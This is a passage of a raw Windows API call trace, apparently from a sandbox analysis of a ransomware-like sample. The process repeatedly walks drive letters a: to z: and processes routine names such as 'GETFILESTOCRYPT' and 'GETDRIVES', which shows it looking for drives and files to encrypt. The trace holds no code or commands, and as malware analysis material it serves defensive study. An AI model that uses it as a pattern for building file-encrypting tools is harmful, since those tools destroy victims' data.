[0088.185] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0088.185] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0088.186] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0088.186] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0088.186] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0088.186] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0088.186] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0088.187] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.187] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.187] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.187] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.187] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.187] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.187] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.187] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.187] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.187] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.187] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.187] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.187] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.187] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.187] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.187] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.188] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.188] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0088.188] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0088.188] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0088.188] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0088.188] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0088.188] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0088.188] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0088.188] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0088.188] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0088.189] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0088.189] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0088.189] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0088.189] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0088.189] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0088.189] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0088.189] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0088.189] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0088.189] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0088.190] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0088.190] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0088.190] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0088.190] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0088.190] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0088.190] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0088.190] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0088.190] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0088.191] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.191] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.191] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.191] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.191] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.191] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.191] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.191] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.191] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.191] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.191] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.191] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.191] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.192] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.192] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.192] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.192] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0088.192] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0088.192] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0088.192] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0088.192] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0088.192] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0088.192] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0088.193] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0088.193] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0088.193] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0088.193] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0088.193] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0088.193] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0088.193] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0088.193] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0088.194] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.194] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.194] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.194] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.194] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.194] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.194] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.194] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.194] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.194] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.194] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.194] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.194] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.194] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.195] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.195] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.195] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.195] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.195] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.195] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.195] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.195] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.195] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.195] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.195] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.195] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.195] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.195] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.195] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.198] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.198] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.198] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.198] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.198] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.198] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.198] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.198] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.198] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.199] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.199] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.199] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.199] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.199] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.199] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.199] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.199] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.199] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.199] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.199] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.199] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.199] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.199] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.200] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.200] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.200] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.200] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.200] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.200] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.200] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.200] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.200] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.200] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.200] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.200] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.200] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.200] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.201] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.201] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.201] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.201] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.201] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.201] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.201] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.201] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.201] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.201] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.201] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.201] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.201] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.201] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.201] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.202] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.202] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.202] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.202] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.202] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.202] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.202] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0088.202] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.202] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.202] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0088.202] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.202] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.202] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0088.202] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0088.202] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.203] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0088.203] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.203] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.204] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0088.204] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0088.204] PeekMessageW (in: lpMsg=0x130f204, 